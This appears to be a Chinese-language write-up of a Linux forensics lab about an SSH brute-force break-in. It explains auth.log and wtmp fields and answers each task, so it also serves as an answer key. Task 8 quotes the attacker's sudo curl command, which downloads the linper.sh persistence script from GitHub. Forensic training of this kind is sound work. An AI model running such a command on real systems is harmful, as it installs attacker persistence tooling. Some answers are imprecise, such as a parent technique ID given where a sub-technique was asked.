xChar
·3 months ago

类别:linux取证、DFIR

此靶场提供了两个文件:auth.log,wtmp

这个靶场的考点主要是关于linux下auth.log、wtmp文件的知识点,可以增加对auth.log文件的认识,也是在取证中比较常看的日志文件。

auth.log文件是Linux系统中用于记录与身份验证相关的日志文件,特别是在基于Debian的发行版上。它主要记录了系统的身份验证事件,包括成功和失败的登录尝试、用户切换、sudo 命令使用、SSH 连接等。

auth.log的各个字段介绍:

  • 时间戳:日志生成的日期和时间
  • 主机名:linux机器的名称
  • 进程名:进程名称
  • 进程ID:进程ID标识符
  • 用户:身份验证过程中涉及的用户名
  • 认证状态:详细说明身份验证尝试是成功还是失败
  • ip地址:尝试远程连接的ip
  • 消息内容:
Aug  8 12:34:56 hostname sshd[12345]: Failed password for root from 192.168.1.100 port 54321 ssh2

WTMP文件

wtmp文件在mac上可以使用utmpdump工具查看,在linux服务器上如果查看wtmp日志,则使用last命令即可。

utmpdump的输出包含了从wtmp文件的二进制格式解码的多个字段。 下面是各个字段的介绍:

  • 类型:这表示记录的类型,例如用户登录或注销、系统启动或关机事件。
  • 进程ID:与事件相关的进程标识符
  • 线路:用户登录的终端线路(tty或pts)
  • 标识:与线路字段相关的简短标识符
  • 用户:与事件关联的用户名
  • 主机:如果适用,用户访问系统的主机名或IP地址
  • 退出:会话或进程的退出状态
  • 会话:会话ID
  • 时间:事件的时间戳。
  • 地址:额外的地址信息,在远程登录的情况下可能是IP地址

Task1 通过查看 auth.log 日志,我们能否找出攻击者在进行暴力破解时所使用的 IP 地址?

cat auth.log  | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto | grep "Invalid user"

65.2.161.68

Task2 通过蛮力攻击,攻击者成功地侵入了服务器上的一个账户。那么,这个账户的用户名是什么呢?

root

Task3 你能确定攻击者亲自登录服务器执行其计划的具体时间点吗?

有时差,得减8,14:32:45 - 8:00:00 = 06:32:45

2024-03-06 06:32:45

Task4 SSH 会话在用户登录时进行追踪,并为每个会话分配一个编号。在问题 2 描述的情境中,攻击者使用的账户登录后,其会话被赋予了哪个编号呢?

cat auth.log | grep "root"

37

Task5 攻击者为了在服务器上长期保持控制权,创建了一个新的用户账号,并为这个账号设置了更高的权限等级。那么,这个账号的名称是什么呢?

cat auth.log | grep "Accept"

cyberjunkie

Task6 MITRE ATT&CK 持久化所用的子技术ID是什么?

https://attack.mitre.org/techniques/T1136

Task7 根据之前确认的登录时间以及在认证日志文件中记录的会话结束时间,我们可以计算出攻击者首次通过SSH连接的持续时长是多少秒?

从32.45到37:24

240+39

Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.

Mar  6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.

Task8 攻击者登录了他们的后门账户,并利用其更高权限下载了一个脚本。使用 sudo 执行的完整命令是什么?

/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

Loading comments...